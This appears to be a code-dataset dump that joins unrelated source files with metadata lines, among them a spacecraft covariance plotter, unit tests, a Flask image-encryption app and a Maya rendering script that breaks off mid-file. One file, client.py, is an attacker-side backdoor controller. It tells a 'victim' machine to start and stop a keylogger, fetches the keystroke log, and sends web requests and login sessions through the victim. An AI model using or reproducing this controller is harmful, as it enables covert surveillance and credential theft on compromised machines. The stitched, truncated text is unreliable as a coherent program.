#!/usr/bin/env python3 from spiceypy import spiceypy as spice from lincov.spice_loader import SpiceLoader import pandas as pd import numpy as np from scipy.linalg import norm from scipy.stats import chi2 import sys import matplotlib matplotlib.use('TKAgg') import matplotlib.pyplot as plt from matplotlib.patches import Ellipse from mpl_toolkits.mplot3d import Axes3D, art3d import lincov.frames as frames from lincov.plot_utilities import * from lincov.reader import * from lincov import LinCov def plot_lvlh_covariance(label, count = 0, body_id = 399, object_id = -5440, pos_vel_axes = None, snapshot_label = None): if body_id == 'earth': body_id = 399 elif body_id == 'moon': body_id = 301 if pos_vel_axes is None: pos_axes = None vel_axes = None else: pos_axes, vel_axes = pos_vel_axes P, time = LinCov.load_covariance(label, count, snapshot_label) # Get LVLH frame x_inrtl = spice.spkez(object_id, time, 'J2000', 'NONE', body_id)[0] * 1000.0 T_inrtl_to_lvlh = frames.compute_T_inrtl_to_lvlh( x_inrtl ) # Transform covariance to LVLH frame P_lvlh = T_inrtl_to_lvlh.dot(P[0:6,0:6]).dot(T_inrtl_to_lvlh.T) fig1, pos_axes = error_ellipsoid(P_lvlh[0:3,0:3], dof=3, xlabel='downtrack (m)', ylabel='crosstrack (m)', zlabel='radial (m)', label=label, axes = pos_axes) fig2, vel_axes = error_ellipsoid(P_lvlh[3:6,3:6], dof=3, xlabel='downtrack (m/s)', ylabel='crosstrack (m/s)', zlabel='radial (m/s)', label=label, axes = vel_axes) if label is not None: pos_axes[0].legend() vel_axes[0].legend() return (fig1, fig2), (pos_axes, vel_axes) def plot_covariance(P, **kwargs): fig, axes = error_ellipsoid(P, dof=P.shape[0], **kwargs) return fig, axes if __name__ == '__main__': if len(sys.argv) < 4: raise SyntaxError("expected run name, index number, body name") labels = sys.argv[1] try: count = int(sys.argv[2]) snapshot_label = None except ValueError: count = None snapshot_label = sys.argv[2] body = sys.argv[3] loader = SpiceLoader('spacecraft') axes = None for label in labels.split(','): figs, axes = plot_lvlh_covariance(label, count = count, body_id = body, pos_vel_axes = axes, snapshot_label = snapshot_label) plt.show()
29.45977
166
0.623098
0
0
0
0
0
0
0
0
268
0.104565
343d87effd06cb338fc8d3c995918a87f6545c84
225
py
Python
nn_redis_config/nn_redis.py
tseth92/NN_grpc_kube_deployment
51bfa786dd8cbd7780140f0ef0c1eb50fcc94504
[ "MIT" ]
null
null
null
nn_redis_config/nn_redis.py
tseth92/NN_grpc_kube_deployment
51bfa786dd8cbd7780140f0ef0c1eb50fcc94504
[ "MIT" ]
null
null
null
nn_redis_config/nn_redis.py
tseth92/NN_grpc_kube_deployment
51bfa786dd8cbd7780140f0ef0c1eb50fcc94504
[ "MIT" ]
null
null
null
import redis redis_db = redis.StrictRedis(host="nn-sq-svc", port=6379, db=0) print(redis_db.keys()) redis_db.set('n_samples',100000) redis_db.set('epochs', 150) redis_db.set('batch_size', 1000) redis_db.set('mid_range', 10)
25
63
0.742222
0
0
0
0
0
0
0
0
53
0.235556
343ef31d47c22d2e366df60d78e0669ed6e27014
1,910
py
Python
unittests/test_plot.py
red5alex/ifm_contrib
750e7fdf19a6adabcf27ff08608bfa88b04c8775
[ "MIT" ]
null
null
null
unittests/test_plot.py
red5alex/ifm_contrib
750e7fdf19a6adabcf27ff08608bfa88b04c8775
[ "MIT" ]
null
null
null
unittests/test_plot.py
red5alex/ifm_contrib
750e7fdf19a6adabcf27ff08608bfa88b04c8775
[ "MIT" ]
1
2018-09-22T13:18:19.000Z
2018-09-22T13:18:19.000Z
import unittest import ifm_contrib as ifm from ifm import Enum import numpy as np import geopandas as gpd import pandas as pd class TestPlot(unittest.TestCase): def test_faces(self): ifm.forceLicense("Viewer") self.doc = ifm.loadDocument(r".\models\example_2D.dac") self.doc.c.plot.faces() def test_edges(self): ifm.forceLicense("Viewer") self.doc = ifm.loadDocument(r".\models\example_2D.dac") self.doc.c.plot.edges() def test_continuous(self): ifm.forceLicense("Viewer") self.doc = ifm.loadDocument(r".\models\example_2D.dac") self.doc.c.plot.continuous(par=Enum.P_HEAD) def test_patches(self): ifm.forceLicense("Viewer") self.doc = ifm.loadDocument(r".\models\example_2D_unconf.fem") # pure triangle mesh self.doc.c.plot._contours(par=Enum.P_COND, style="patches") self.doc.c.plot.patches(par=Enum.P_COND) def test_fringes(self): ifm.forceLicense("Viewer") self.doc = ifm.loadDocument(r".\models\example_2D.dac") self.doc.c.plot.fringes(par=Enum.P_HEAD, alpha=1, cmap="feflow_blue_green_red") def test_isolines(self): ifm.forceLicense("Viewer") self.doc = ifm.loadDocument(r".\models\example_2D.dac") self.doc.c.plot.isolines(par=Enum.P_HEAD, colors="black") def test_obs_markers(self): ifm.forceLicense("Viewer") self.doc = ifm.loadDocument(r".\models\example_2D.dac") self.doc.c.plot.obs_markers() self.doc.c.plot.obs_markers(filter_by={"label": ["myObsPoint1", "myObsPoint2"]}) def test_obs_labels(self): ifm.forceLicense("Viewer") self.doc = ifm.loadDocument(r".\models\example_2D.dac") self.doc.c.plot.obs_labels() self.doc.c.plot.obs_labels(filter_by={"label": ["myObsPoint1", "myObsPoint2"]}) if __name__ == '__main__': unittest.main()
34.107143
92
0.662304
1,733
0.90733
0
0
0
0
0
0
414
0.216754
34407ff51a7436c54d71af05b2afac72b8892085
2,978
py
Python
client.py
ashu20071/backdoor-shell
4554875fee0d7f6e0063ef10fc920b1d577aced7
[ "MIT" ]
null
null
null
client.py
ashu20071/backdoor-shell
4554875fee0d7f6e0063ef10fc920b1d577aced7
[ "MIT" ]
null
null
null
client.py
ashu20071/backdoor-shell
4554875fee0d7f6e0063ef10fc920b1d577aced7
[ "MIT" ]
null
null
null
#!/usr/bin/python3 import requests; import json; import os; import threading; from sys import argv; import time; ''' GLOBAL VARS ''' VICTIM = ["127.0.0.1",1337]; # (<ip_address>, <port_no.>) ''' FUNCTIONS ''' def menu(): choices = ["tunnel", "keylogger", "quit"]; print(" :: MENU ::"); print(" - tunnel"); print(" - keylogger"); print(" - quit"); while True: inp = input("-> ").lstrip(" ").rstrip(" "); if inp in choices: return(inp); ''' payload format: ''' def send(action,**params): # send(action [, sub_action=<>, extras=<>]) params["action"]=action; payload = json.dumps(params); vic_url = "http://"+VICTIM[0]+":"+str(VICTIM[1])+""; resp = requests.get(vic_url,data=payload); return(resp.content); def tunnel(): print(":: Tunnel ::"); print("1 - get"); print("2 - post"); print("3 - session"); print("4 - login session"); sub_action = int(input("-> ")); param_dict = dict(); if sub_action == 4: param_string = input("Parameters as comma-separated <name_of_field>:<value> -> "); param_list = param_string.split(","); for p in param_list: key,val = p.split(":"); param_dict[key]=val; sub_action="login session"; elif sub_action == 1: sub_action="get"; elif sub_action == 2: sub_action == "post"; elif sub_action == 3: sub_action == "session"; url = input("[address] -> "); print("Fetching...."); start_time = time.time(); bin_resp=None; if sub_action != "login session": bin_resp = send("tunnel",value=url,sub_action=sub_action); else: bin_resp = send("tunnel",value=url,sub_action=sub_action,extras=param_dict); fetch_time = time.time() - start_time; print("Got response [in "+str(fetch_time)+" seconds]! Saving to op.html"); op_file = open("op.html","wb"); op_file.write(bin_resp); op_file.close(); choice = input("Open Site? [y/n] : "); if choice == "y" or choice == "Y": threading.Thread(target=os.system("xdg-open op.html 1> /dev/null")); return; def keylogger(): print(":: Keylogger ::"); print("1 - Start keylogger"); print("2 - Stop Keylogger (do this first if you want to fetch the log file)"); print("3 - Get log file"); sub_action = int(input("-> ")); if sub_action == 1: sub_action = "start"; elif sub_action == 2: sub_action = "stop"; elif sub_action == 3: sub_action = "get"; resp = send("keylogger",sub_action=sub_action); if sub_action == "get": print("Fetched log file, saving to log.txt"); f = open("log.txt","wb"); f.write(resp); f.close(); return; def get_target(): while True: ip = input("Victim Address -> "); if len(ip.split(".")) == 4: return(ip); ''' MAIN ''' if __name__ == "__main__": print("Starting attacker-side program...."); run_flag = True; if len(argv) >= 2: VICTIM[0]=argv[1]; else: VICTIM[0] = get_target(); while run_flag == True: choice = menu(); if choice == "tunnel": tunnel(); if choice == "keylogger": keylogger(); elif choice == "quit": run_flag = False; print("\n\n");
23.634921
84
0.6182
0
0
0
0
0
0
0
0
942
0.31632
344205ea38acaaf0d381e72dbd1e7ae6ae7ff1df
4,435
py
Python
app.py
WiIIiamTang/logistic-map-encryption
b323c76a25cde1a7663887db35c0de393edfdfcc
[ "MIT" ]
null
null
null
app.py
WiIIiamTang/logistic-map-encryption
b323c76a25cde1a7663887db35c0de393edfdfcc
[ "MIT" ]
null
null
null
app.py
WiIIiamTang/logistic-map-encryption
b323c76a25cde1a7663887db35c0de393edfdfcc
[ "MIT" ]
null
null
null
import os import uuid from werkzeug.utils import secure_filename from pathlib import Path import random from flask import Flask, flash, request, redirect, url_for, render_template, jsonify from flask_cors import CORS, cross_origin import chaosencryptor.src.models from PIL import Image import json DEBUG = False dirp = Path(__file__).parents[0] template_folder = os.path.join(dirp, 'templates') static_folder = os.path.join(template_folder, 'static') media_folder = os.path.join(static_folder) media_base_url = '/static' app = Flask(__name__, template_folder=template_folder, static_folder=static_folder) cors = CORS(app) # media folder should be in static app.config['UPLOAD_FOLDER'] = media_folder app.config['MAX_CONTENT_LENGTH'] = 16*1024*1024 # 16MB app.config['NEXT_IMAGE_ID'] = 1 app.config['store'] = {'images': {}, 'current_upimg': None} IMAGE_EXTENSIONS = set(['png']) def verify_image_extension(s): return '.' in s and s.rsplit('.',1)[1].lower() in IMAGE_EXTENSIONS @app.route('/') def main(): return render_template('index.html') @app.route('/upimg', methods=['POST']) def upimg(): result = {'uploaded': False} form_input_name = 'file' if form_input_name not in request.files: result['message'] = 'No file found' return result, 404 file = request.files[form_input_name] if not file or not file.filename: result['message'] = 'No filename selected' return result, 404 if not verify_image_extension(file.filename): result['message'] = 'File extension not allowed' return result, 415 # Success ext = file.filename.rsplit('.',1)[1].lower() new_filename = f'{app.config["NEXT_IMAGE_ID"]}_{secure_filename(str(uuid.uuid4()))}.{ext}' img_path = os.path.join(app.config['UPLOAD_FOLDER'], new_filename) app.config['store']['images'][app.config['NEXT_IMAGE_ID']] = { '_name': new_filename, 'url': f'{media_base_url}/{new_filename}' } result['message'] = 'Image uploaded' result['id'] = app.config['NEXT_IMAGE_ID'] result['url'] = f'{media_base_url}/{new_filename}' result['uploaded'] = True app.config['NEXT_IMAGE_ID'] += 1 file.save(img_path) app.config['store']['current_upimg'] = img_path #print(app.config['store']['current_upimg']) return result, 200 @app.route('/encrypt', methods=['GET']) def encrypt(): model = request.args.get('model') encrypter = getattr(chaosencryptor.src.models, model)() im = Image.open(app.config['store']['current_upimg']) name = im.filename im = im.convert('RGB') image, key = encrypter.encrypt(image=im, name=name) img_path = f'{name.rsplit(".", 1)[0]}_encrypted{random.randint(0, 99999)}.png' image.save(img_path) app.config['store']['current_encryptimg'] = img_path result = { 'message': 'Image encrypted', 'key': json.dumps(key), 'url': f'{media_base_url}/{os.path.basename(img_path)}' } return result, 200 @app.route('/decrypt', methods=['POST']) def decrypt(): result = {'uploaded': False} keystring = request.form.get('keystring') model = request.form.get('model') if not keystring: result['message'] = 'No key provided' return result, 404 # Success # open the current uploaded image im = Image.open(app.config['store']['current_upimg']) name = im.filename im = im.convert('RGB') # load the json string key = json.loads(keystring.replace('\\', '')) decrypter = getattr(chaosencryptor.src.models, model)() image = decrypter.decrypt(image=im, key=key) img_path = f'{name.rsplit(".", 1)[0]}_decrypted{random.randint(0, 99999)}.png' image.save(img_path) app.config['store']['current_decryptimg'] = img_path result = { 'message': 'Image decrypted', 'url': f'{media_base_url}/{os.path.basename(img_path)}' } return result, 200 if DEBUG: @app.route('/images', methods=['GET']) def images(): return app.config['store']['images'], 200 @app.route('/images/<int:id>', methods=['GET']) def images_id(id): if app.config['store']['images'].get(id): return app.config['store']['images'][id], 200 else: return {'message': 'Did not find image'}, 404 if __name__ == '__main__': if DEBUG: app.run(debug=True, use_reloader=True) else: app.run()
28.798701
94
0.64938
0
0
0
0
3,302
0.744532
0
0
1,336
0.30124
3442e1c11024fc9efc57990cff859cf751f64fe7
396
py
Python
rest_framework_push_notifications/serializers.py
incuna/rest-framework-push-notifications
e57f06db45754af9e0b50159b8f12104222b2f68
[ "BSD-2-Clause" ]
1
2021-09-18T08:13:11.000Z
2021-09-18T08:13:11.000Z
rest_framework_push_notifications/serializers.py
incuna/rest-framework-push-notifications
e57f06db45754af9e0b50159b8f12104222b2f68
[ "BSD-2-Clause" ]
7
2015-06-22T11:39:45.000Z
2021-06-10T17:46:53.000Z
rest_framework_push_notifications/serializers.py
incuna/rest-framework-push-notifications
e57f06db45754af9e0b50159b8f12104222b2f68
[ "BSD-2-Clause" ]
null
null
null
from push_notifications import models from rest_framework.serializers import HyperlinkedModelSerializer class APNSDevice(HyperlinkedModelSerializer): class Meta: fields = ('url', 'registration_id', 'name', 'device_id', 'active') model = models.APNSDevice class APNSDeviceUpdate(APNSDevice): class Meta(APNSDevice.Meta): read_only_fields = ('registration_id',)
28.285714
74
0.742424
286
0.722222
0
0
0
0
0
0
64
0.161616
3444a8319c7228a4e4f05ad69676ae8d14fa03cb
271
py
Python
galleries/admin.py
Ingabineza12/gallery-app
5c28558203d68dd582b77df408cf6f21ccc01100
[ "Unlicense" ]
1
2021-08-02T01:29:38.000Z
2021-08-02T01:29:38.000Z
galleries/admin.py
Ingabineza12/gallery-app
5c28558203d68dd582b77df408cf6f21ccc01100
[ "Unlicense" ]
null
null
null
galleries/admin.py
Ingabineza12/gallery-app
5c28558203d68dd582b77df408cf6f21ccc01100
[ "Unlicense" ]
null
null
null
from django.contrib import admin # Register your models here. from .models import Photographer,Location,Image,Category # Register your models here. admin.site.register(Photographer) admin.site.register(Location) admin.site.register(Image) admin.site.register(Category)
24.636364
56
0.819188
0
0
0
0
0
0
0
0
56
0.206642
3445518d519b291bcc71a0a8b94567bddb6ff6c0
15,358
py
Python
utils/prepare.py
Mehrad0711/HUBERT
2f13fd2f7f5a2ec13544f4007158b582ae7408c3
[ "MIT" ]
3
2021-05-22T08:25:17.000Z
2021-11-11T03:23:35.000Z
utils/prepare.py
Mehrad0711/HUBERT
2f13fd2f7f5a2ec13544f4007158b582ae7408c3
[ "MIT" ]
null
null
null
utils/prepare.py
Mehrad0711/HUBERT
2f13fd2f7f5a2ec13544f4007158b582ae7408c3
[ "MIT" ]
null
null
null
from __future__ import absolute_import from __future__ import division from __future__ import print_function import torch import os from modules.model import BertForSequenceClassification_tpr from utils.data_utils import convert_examples_to_features, logger from transformers.file_utils import PYTORCH_PRETRAINED_BERT_CACHE from transformers.modeling_bert import BertModel from transformers.optimization import AdamW, WarmupLinearSchedule from torch.optim import SGD from torch.utils.data import TensorDataset, DataLoader, RandomSampler, SequentialSampler from torch.utils.data.distributed import DistributedSampler def prepare_data_loader(args, processor, label_list, task_type, task, tokenizer, split, examples=None, single_sentence=False, return_pos_tags=False, return_ner_tags=False, return_dep_parse=False, return_const_parse=False): data_dir = os.path.join(args.data_dir, task) if examples is None: if split == 'train': examples = processor.get_train_examples(data_dir) if split == 'dev': examples = processor.get_dev_examples(data_dir) if split == 'test': examples = processor.get_test_examples(data_dir) features, structure_features = convert_examples_to_features(examples, label_list, args.max_seq_length, tokenizer, single_sentence, return_pos_tags, return_ner_tags, return_dep_parse, return_const_parse) all_tokens, token_pos, token_ner, token_dep, token_const = structure_features logger.info("***** preparing data *****") logger.info(" Num examples = %d", len(examples)) batch_size = args.train_batch_size if split == 'train' else args.eval_batch_size logger.info(" Batch size = %d", batch_size) all_input_ids = torch.tensor([f.input_ids for f in features], dtype=torch.long) all_input_mask = torch.tensor([f.input_mask for f in features], dtype=torch.uint8) all_segment_ids = torch.tensor([f.segment_ids for f in features], dtype=torch.long) all_sub_word_masks = torch.tensor([f.sub_word_masks for f in features], dtype=torch.uint8) all_orig_to_token_maps = torch.tensor([f.orig_to_token_map for f in features], dtype=torch.long) if split == 'test': if task.lower() == 'snli': all_label_ids = torch.tensor([f.label_id for f in features], dtype=torch.long) data = TensorDataset(all_input_ids, all_input_mask, all_segment_ids, all_sub_word_masks, all_orig_to_token_maps, all_label_ids) else: data = TensorDataset(all_input_ids, all_input_mask, all_segment_ids, all_sub_word_masks, all_orig_to_token_maps) else: if task_type != 1: all_label_ids = torch.tensor([f.label_id for f in features], dtype=torch.long) else: all_label_ids = torch.tensor([f.label_id for f in features], dtype=torch.float32) data = TensorDataset(all_input_ids, all_input_mask, all_segment_ids, all_sub_word_masks, all_orig_to_token_maps, all_label_ids) if split == 'train' and not args.save_tpr_attentions: if args.local_rank == -1: sampler = RandomSampler(data) else: sampler = DistributedSampler(data) else: sampler = SequentialSampler(data) all_guids = [f.guid for f in features] dataloader = DataLoader(data, sampler=sampler, batch_size=batch_size) return dataloader, all_guids, structure_features def prepare_optim(args, num_train_steps, param_optimizer): no_decay = ['bias', 'LayerNorm.bias', 'LayerNorm.weight'] optimizer_grouped_parameters = [ {'params': [p for n, p in param_optimizer if not any(nd in n for nd in no_decay)], 'weight_decay': 0.01}, {'params': [p for n, p in param_optimizer if any(nd in n for nd in no_decay)], 'weight_decay': 0.0} ] t_total = num_train_steps scheduler = None if args.local_rank != -1: t_total = t_total // torch.distributed.get_world_size() if args.fp16: try: from apex.optimizers import FP16_Optimizer from apex.optimizers import FusedAdam except ImportError: raise ImportError( "Please install apex from https://www.github.com/nvidia/apex to use distributed and fp16 training.") optimizer = FusedAdam(optimizer_grouped_parameters, lr=args.learning_rate, bias_correction=False, max_grad_norm=1.0) if args.loss_scale == 0: optimizer = FP16_Optimizer(optimizer, dynamic_loss_scale=True) else: optimizer = FP16_Optimizer(optimizer, static_loss_scale=args.loss_scale) else: if args.optimizer == 'adam': optimizer = AdamW(optimizer_grouped_parameters, lr=args.learning_rate, correct_bias=False) scheduler = WarmupLinearSchedule(optimizer, warmup_steps=args.warmup_proportion * t_total, t_total=t_total) # elif args.optimizer == 'radam': # optimizer = RAdam(optimizer_grouped_parameters, # lr=args.learning_rate) elif args.optimizer == 'sgd': optimizer = SGD(optimizer_grouped_parameters, lr=args.learning_rate) return optimizer, scheduler, t_total def prepare_model(args, opt, num_labels, task_type, device, n_gpu, loading_path=None): # Load config and pre-trained model pre_trained_model = BertModel.from_pretrained(args.bert_model, cache_dir=PYTORCH_PRETRAINED_BERT_CACHE / 'distributed_{}'.format(args.local_rank)) bert_config = pre_trained_model.config # modify config bert_config.num_hidden_layers = args.num_bert_layers model = BertForSequenceClassification_tpr(bert_config, num_labels=num_labels, task_type=task_type, temperature=args.temperature, max_seq_len=args.max_seq_length, **opt) # load desired layers from config model.bert.load_state_dict(pre_trained_model.state_dict(), strict=False) # initialize Symbol and Filler parameters from a checkpoint instead of randomly initializing them if loading_path: logger.info('loading model checkpoint from {}'.format(loading_path)) output_model_file = os.path.join(loading_path) states = torch.load(output_model_file, map_location=device) model_state_dict = states['state_dict'] # options shouldn't be loaded from the pre-trained model # opt = states['options'] desired_keys = [] if args.load_role: logger.info('loading roles from checkpoint model') desired_keys.extend(['head.R.weight', 'head.R.bias']) if args.load_filler: logger.info('loading fillers from checkpoint model') desired_keys.extend(['head.F.weight', 'head.F.bias']) if args.load_role_selector: logger.info('loading role selectors from checkpoint model') desired_keys.extend(['head.WaR.weight', 'head.WaR.bias']) desired_keys.extend([name for name in model_state_dict.keys() if name.startswith('head.enc_aR')]) if args.load_filler_selector: logger.info('loading filler selectors from checkpoint model') desired_keys.extend(['head.WaF.weight', 'head.WaF.bias']) desired_keys.extend([name for name in model_state_dict.keys() if name.startswith('head.enc_aF')]) if args.load_bert_params: logger.info('loading bert params from checkpoint model') desired_keys.extend([name for name in model_state_dict.keys() if name.startswith('bert')]) if args.load_classifier: logger.info('loading classifier params from checkpoint model') desired_keys.extend([name for name in model_state_dict.keys() if name.startswith('classifier')]) if args.load_LSTM_params: logger.info('loading LSTM params from checkpoint model') desired_keys.extend([name for name in model_state_dict.keys() if name.startswith('head.rnn')]) state = dict() for key, val in model_state_dict.items(): if key in desired_keys: state[key] = val model.load_state_dict(state, strict=False) frozen_keys = [] if args.freeze_role: logger.info('freezing roles if loaded from ckpt model') frozen_keys.extend(['head.R.weight', 'head.R.bias']) if args.freeze_filler: logger.info('freezing fillers if loaded from ckpt model') frozen_keys.extend(['head.F.weight', 'head.F.bias']) if args.freeze_role_selector: logger.info('freezing role selectors if loaded from ckpt model') frozen_keys.extend(['head.WaR.weight', 'head.WaR.bias']) frozen_keys.extend([name for name in model_state_dict.keys() if name.startswith('head.enc_aR')]) if args.freeze_filler_selector: logger.info('freezing filler selectors if loaded from ckpt model') frozen_keys.extend(['head.WaF.weight', 'head.WaF.bias']) frozen_keys.extend([name for name in model_state_dict.keys() if name.startswith('head.enc_aF')]) if args.freeze_bert_params: logger.info('freezing bert params if loaded from ckpt model') frozen_keys.extend([name for name in model_state_dict.keys() if name.startswith('bert')]) if args.freeze_classifier: logger.info('freezing classifier params if loaded from ckpt model') frozen_keys.extend([name for name in model_state_dict.keys() if name.startswith('classifier')]) if args.freeze_LSTM_params: logger.info('freezing LSTM params if loaded from ckpt model') frozen_keys.extend([name for name in model_state_dict.keys() if name.startswith('head.rnn')]) for name, param in model.named_parameters(): if name in frozen_keys: param.requires_grad = False if args.fp16: model.half() model.to(device) if args.local_rank != -1: try: from apex.parallel import DistributedDataParallel as DDP except ImportError: raise ImportError( "Please install apex from https://www.github.com/nvidia/apex to use distributed and fp16 training.") model = DDP(model) elif n_gpu > 1: model = torch.nn.DataParallel(model) return model, bert_config def prepare_structure_values(args, eval_task_name, all_ids, F_list, R_list, F_full, R_full, all_tokens, token_pos, token_ner, token_dep, token_const): values = {} if args.single_sentence or eval_task_name.lower() in ['sst', 'cola']: index = 0 tokens = [val[index] for val in all_tokens] pos_tags = [[subval[1] for subval in val[index]] for val in token_pos] ner_tags = [[subval[1] for subval in val[index]] for val in token_ner] dep_parse_tokens = [[subval[0] for subval in val[index]] for val in token_dep] dep_parse = [[subval[1] for subval in val[index]] for val in token_dep] const_parse = [[subval[1] for subval in val[index]] for val in token_const] parse_tree_depth = [[len(subval[1]) for subval in val[index]] for val in token_const] else: tokens = [] pos_tags = [] ner_tags = [] dep_parse_tokens = [] dep_parse = [] const_parse = [] parse_tree_depth = [] index = 0 tokens_a = [val[index] for val in all_tokens] pos_tags_a = [[subval[1] for subval in val[index]] for val in token_pos] ner_tags_a = [[subval[1] for subval in val[index]] for val in token_ner] dep_parse_tokens_a = [[subval[0] for subval in val[index]] for val in token_dep] dep_parses_a = [[subval[1] for subval in val[index]] for val in token_dep] const_parses_a = [[subval[1] for subval in val[index]] for val in token_const] parse_tree_depths_a = [[len(subval[1]) for subval in val[index]] for val in token_const] index = 1 tokens_b = [val[index] for val in all_tokens] pos_tags_b = [[subval[1] for subval in val[index]] for val in token_pos] ner_tags_b = [[subval[1] for subval in val[index]] for val in token_ner] dep_parse_tokens_b = [[subval[0] for subval in val[index]] for val in token_dep] dep_parses_b = [[subval[1] for subval in val[index]] for val in token_dep] const_parses_b = [[subval[1] for subval in val[index]] for val in token_const] parse_tree_depths_b = [[len(subval[1]) for subval in val[index]] for val in token_const] for token_a, token_b in zip(tokens_a, tokens_b): tokens.append(token_a + ['[SEP]'] + token_b) for pos_tag_a, pos_tag_b in zip(pos_tags_a, pos_tags_b): pos_tags.append(pos_tag_a + ['SEP'] + pos_tag_b) for ner_tag_a, ner_tag_b in zip(ner_tags_a, ner_tags_b): ner_tags.append(ner_tag_a + ['[SEP]'] + ner_tag_b) for dep_parse_token_a, dep_parse_token_b in zip(dep_parse_tokens_a, dep_parse_tokens_b): dep_parse_tokens.append(dep_parse_token_a + ['[SEP]'] + dep_parse_token_b) for dep_parse_a, dep_parse_b in zip(dep_parses_a, dep_parses_b): dep_parse.append(dep_parse_a + ['[SEP]'] + dep_parse_b) for const_parse_a, const_parse_b in zip(const_parses_a, const_parses_b): const_parse.append(const_parse_a + ['[SEP]'] + const_parse_b) for parse_tree_depth_a, parse_tree_depth_b in zip(parse_tree_depths_a, parse_tree_depths_b): parse_tree_depth.append(parse_tree_depth_a + ['[SEP]'] + parse_tree_depth_b) bad_sents_count = 0 for i in range(len(all_ids)): try: assert len(tokens[i]) == len(F_list[i]) == len(R_list[i]) == len(F_full[i]) == len(R_full[i]) val_i = {'tokens': tokens[i], 'all_aFs': F_list[i], 'all_aRs': R_list[i], 'all_aFs_full': F_full[i], 'all_aRs_full': R_full[i]} if args.return_POS: assert len(pos_tags[i]) == len(tokens[i]) val_i.update({'pos_tags': pos_tags[i]}) if args.return_NER: assert len(ner_tags[i]) == len(tokens[i]) val_i.update({'ner_tags': ner_tags[i]}) if args.return_DEP: assert len(dep_parse_tokens[i]) == len(dep_parse[i]) val_i.update({'dep_parse_tokens': dep_parse_tokens[i],'dep_edge': dep_parse[i]}) if args.return_CONST: assert len(const_parse[i]) == len(tokens[i]) val_i.update({'const_parse_path': const_parse[i]}) assert len(parse_tree_depth[i]) == len(tokens[i]) val_i.update({'tree_depth': parse_tree_depth[i]}) values[all_ids[i]] = val_i except: bad_sents_count += 1 logger.info('Could not parse {:.2f}% of the sentences out of all {} data points'.format(bad_sents_count/ len(all_ids)*100, len(all_ids))) return values
51.023256
150
0.650606
0
0
0
0
0
0
0
0
2,114
0.137648
344722b00d3920bfcddd02e2177d5a68ad33dd3e
19,272
py
Python
scripts/mnpr_system.py
semontesdeoca/MNPR
8acf9862e38b709eba63a978d35cc658754ec9e9
[ "MIT" ]
218
2018-06-11T08:46:41.000Z
2022-03-06T02:09:41.000Z
scripts/mnpr_system.py
Yleroimar/3D-Comic-Rendering
8c3221625dfbb5a4d5efc92b235d547a4e6e66ad
[ "MIT" ]
32
2018-06-14T05:27:50.000Z
2021-11-23T08:56:40.000Z
scripts/mnpr_system.py
Yleroimar/3D-Comic-Rendering
8c3221625dfbb5a4d5efc92b235d547a4e6e66ad
[ "MIT" ]
35
2018-06-11T08:50:43.000Z
2021-11-28T07:48:20.000Z
""" @license: MIT @repository: https://github.com/semontesdeoca/MNPR _ _ __ ___ _ __ _ __ _ __ ___ _ _ ___| |_ ___ _ __ ___ | '_ ` _ \| '_ \| '_ \| '__| / __| | | / __| __/ _ \ '_ ` _ \ | | | | | | | | | |_) | | \__ \ |_| \__ \ || __/ | | | | | |_| |_| |_|_| |_| .__/|_| |___/\__, |___/\__\___|_| |_| |_| |_| |___/ @summary: MNPR related functions """ from __future__ import print_function import os import traceback import maya.cmds as cmds import maya.mel as mel import coopLib as lib import mnpr_info import mnpr_runner import mnpr_matPresets mnpr_info.loadPlugin() dx2sfxAttr = {"xUseColorTexture": "Albedo_Texture", "xColorTint": "Color_Tint", "xUseNormalTexture": "Normal_Map", "xFlipU": "Invert_U", "xFlipV": "Invert_V", "xBumpDepth": "Bump_Depth", "xUseSpecularTexture": "Specular_Map", "xSpecular": "Specular_Roll_Off", "xSpecDiffusion": "Specular_Diffusion", "xSpecTransparency": "Specular_Transparency", "xUseShadows": "", "xShadowDepthBias": "", "xDiffuseFactor": "Diffuse_Factor", "xShadeColor": "Shade_Color", "xShadeWrap": "Shade_Wrap", "xUseOverrideShade": "Shade_Override", "xDilute": "Dilute_Paint", "xCangiante": "Cangiante", "xDiluteArea": "Dilute_Area", "xHighArea": "Highlight_Roll_Off", "xHighTransparency": "Highlight_Transparency", "xAtmosphereColor": "", "xRangeStart": "", "xRangeEnd": "", "xDarkEdges": "", "xMainTex": "Albedo_Texture_File", "xNormalTex": "Normal_Map_File", "xSpecTex": "Specular_Map_File" } def check(): """Makes sure everything is running right""" print("SYSTEM CHECK FOR {0}".format(mnpr_info.prototype)) # check viewport viewport = lib.getActiveModelPanel() cmds.modelEditor(viewport, dtx=True, e=True) # display textures # plugin needs to be loaded mnpr_info.loadRenderer() # 3rd party plugins must be loaded cmds.loadPlugin('shaderFXPlugin', quiet=True) if cmds.about(nt=True, q=True): cmds.loadPlugin('dx11Shader', quiet=True) # deprecated (only shadeFXPlugin in the future) cmds.loadPlugin('glslShader', quiet=True) # deprecated (only shaderFXPlugin in the future) # viewport renderer must be set mel.eval("setRendererAndOverrideInModelPanel vp2Renderer {0} {1};".format(mnpr_info.prototype, viewport)) # modify color of heads up display cmds.displayColor("headsUpDisplayLabels", 2, dormant=True) cmds.displayColor("headsUpDisplayValues", 2, dormant=True) # make sure a config node exists if not cmds.objExists(mnpr_info.configNode): selected = cmds.ls(sl=True, l=True) selectConfig() cmds.select(selected, r=True) lib.printInfo("-> SYSTEM CHECK SUCCESSFUL") def changeStyle(): """Resets MNPR to load a new style""" # reset stylization cmds.mnpr(resetStylization=True) # delete old config node if cmds.objExists(mnpr_info.configNode): cmds.delete(mnpr_info.configNode) # flush undo cmds.flushUndo() print("style deleted") # deregister node cmds.mnpr(rn=False) # register node cmds.mnpr(rn=True) # create new config node selectConfig() # refresh AETemplate mnpr_runner.reloadConfig() # set new media type mnpr_info.media = cmds.mnpr(style=True, q=True) # rebuild opened UI's import mnpr_UIs if cmds.window(mnpr_UIs.BreakdownUI.windowTitle, exists=True): mnpr_runner.openOverrideSettings(rebuild=True) import mnpr_FX if cmds.window(mnpr_FX.MNPR_FX_UI.windowTitle, exists=True): mnpr_runner.openPaintFX(rebuild=True) lib.printInfo("Style changed") def togglePlugin(force=""): """ Toggles active or forces desired plugin prototype Args: force (str): plugin name to force """ if force: unloadPlugin(mnpr_info.prototype) mnpr_info.prototype = force check() else: # toggle loaded prototype if cmds.pluginInfo(mnpr_info.prototype, loaded=True, q=True): unloadPlugin(mnpr_info.prototype) else: check() def unloadPlugin(plugin): """ Unloads plugin and cleans scene from plugin traces Args: plugin (str): name of plugin to be unloaded """ # check which prototype is active if cmds.pluginInfo(plugin, loaded=True, q=True): # remove traces and unload if cmds.objExists(mnpr_info.configNode): cmds.delete(mnpr_info.configNode) # delete config node cmds.flushUndo() # clear 